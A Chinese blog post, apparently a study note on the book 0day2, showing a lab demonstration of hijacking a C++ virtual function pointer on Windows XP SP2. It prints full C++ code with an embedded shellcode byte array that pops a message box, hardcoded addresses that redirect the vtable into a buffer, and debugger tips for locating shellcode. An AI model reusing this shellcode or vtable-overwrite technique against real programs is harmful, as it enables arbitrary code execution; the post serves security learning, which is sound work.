旧书重温:0day2【9】第六章 攻击c++的虚函数
不知不觉,我们学到了0day2的第六章形形色色的内存攻击技术!其中,这张很多东西都是理论的东西,不过!我们还是要想办法还原下发生的现场!
其中部分文章截图 http://user.qzone.qq.com/252738331/photo/V10U5YUk464GF5/ 密码: NQK3S
好久没有写文章了,最近刚买了新鼠标+新耳机,CF幽灵撸起来很牛B呀! 所以一直没时间研究溢出了,今天玩逆了CF,还是看看书吧!哈哈!就有了本文
这篇文章如T:操作过程简单些,所以:先把这个搞定下,鼓舞下士气,哈哈!(xp sp2 +vc6.0 系统下载参考第一篇)
1 // Attack_cpp_virtual_fun.cpp : Defines the entry point for the console application. 2 // 3 4 #include "stdafx.h" 5 #include <stdio.h> 6 #include <string.h> 7 char shellcode[] = { 8 9 "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33"\ 10 "\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30"\ 11 "\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2"\ 12 "\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05"\ 13 "\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"\ 14 "\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66"\ 15 "\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75"\ 16 "\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57"\ 17 "\xFC\x53\xFF\x57\xF8\x74\x7d\x42"}; // 427d74 指向 overflow的buf 头,也就是复制过去的shllcode头位置 18 class zhenw0 19 { 20 public: 21 char buf[200]; 22 virtual void test(void) 23 { 24 printf("class zhenw0:test() \n"); 25 26 } 27 }; 28 29 zhenw0 overflow,*p; 30 31 int main(int argc, char* argv[]) 32 { 33 char * p_vtable; 34 35 p_vtable = overflow.buf - 4; 36 p_vtable[0] = 0x29; // 427e29 指向 overflow.buf承载的shellcode末尾 37 p_vtable[1] = 0x7e; 38 p_vtable[2] = 0x42; 39 p_vtable[3] = 0x00; 40 strcpy(overflow.buf,shellcode); 41 //__asm int 3 42 p = &overflow; 43 p->test(); 44 45 46 return 0; 47 }
就如文章描述一样 我们修改虚函数指针的指向,这里把 虚函数的指针指向了over.buf中的shellocde的末尾!
而shllcode末尾指向了overflow.buf也就是我们的shllcode,当触发test()的时候,就通过与函数表找到了假的函数地址,就执行了shellcode 就MSGbox 了下
其中:定位我们的shellcode 位置很重要, 我教大家个办法
1.在shellcode 中 添加4个 x90
2.加入int3 od断下,在od的数据区搜索二进制字符串
其中没有执行strcpy函数以前,找到的是 全局的shllcode,执行了strcpy()就有两次,如何区分就简单了。。。
----------------------------------------------------
| QQ252738331
| Q群: 104132152(群名称是缓冲区溢出|汇编|逆向)
| 微博: http://t.qq.com/zhenw0
----------------------------------------------------